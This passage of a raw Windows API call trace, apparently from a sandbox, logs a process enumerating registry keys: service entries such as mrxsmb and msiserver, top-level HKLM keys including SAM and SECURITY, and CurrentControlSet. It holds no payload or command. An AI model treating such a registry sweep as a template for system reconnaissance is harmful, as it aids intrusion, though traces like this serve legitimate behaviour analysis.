lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0028.273] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x502850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0028.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0028.273] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x502850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0028.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0028.274] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x502850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0028.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0028.274] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x502850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0028.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0028.274] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x502850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0028.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x5a1460, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0028.274] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x502850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0028.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x5a1418, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0028.274] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x502850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0028.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0028.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x5a1460, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0028.274] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x502850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0028.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0028.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x5a1418, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0028.274] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x502850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0028.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x5a1460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0028.275] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x502850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0028.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x5a1418, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0028.275] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x502850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0028.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0028.275] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x502850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0028.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0028.275] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x502850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0028.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x5a1460, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0028.275] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f3e8 | out: phkResult=0x34f3e8*=0x9c) returned 0x0 [0028.275] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502850) returned 1 [0028.275] RegCloseKey (hKey=0x148) returned 0x0 [0028.275] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0028.275] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x502850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0028.276] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.276] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x5a1418, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0028.276] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.276] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.276] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.276] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2eb0) returned 1 [0028.276] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x502850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0028.276] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.276] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0028.276] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.276] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.276] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.276] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x502850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0028.276] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.276] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x5a1418, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0028.276] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.276] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x502850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0028.276] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.276] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0028.276] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.276] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x502850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0028.277] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.277] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0028.277] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.277] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x502850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0028.277] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.277] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0028.277] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.277] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f3e8 | out: phkResult=0x34f3e8*=0x150) returned 0x0 [0028.277] RegCloseKey (hKey=0x80000002) returned 0x0 [0028.277] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x502850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0028.277] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.277] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x5a1418, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0028.277] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.277] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x502850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0028.277] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.277] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x5a1460, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0028.277] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.277] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x502850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0028.277] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.278] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x5a1418, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0028.278] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.278] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x502850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0028.278] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.278] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x5a1460, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0028.278] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.278] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x502850, cchName=0x104 | out: lpName="Select") returned 0x0 [0028.278] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.278] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0028.278] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.278] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x502850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0028.278] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.278] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x5a1460, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0028.278] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.278] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x502850, cchName=0x104 | out: lpName="Software") returned 0x0 [0028.278] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.278] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0028.278] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.278] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x502850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0028.278] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.279] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x5a1460, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0028.279] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.279] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x502850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0028.279] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.279] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x5a1418, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0028.279] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.279] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f3e8 | out: phkResult=0x34f3e8*=0x148) returned 0x0 [0028.279] RegCloseKey (hKey=0x150) returned 0x0 [0028.279] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x502850, cchName=0x104 | out: lpName="Control") returned 0x0 [0028.279] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.279] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0028.279] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.280] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x502850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0028.280] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.280] WideCharToMultiByte (in: 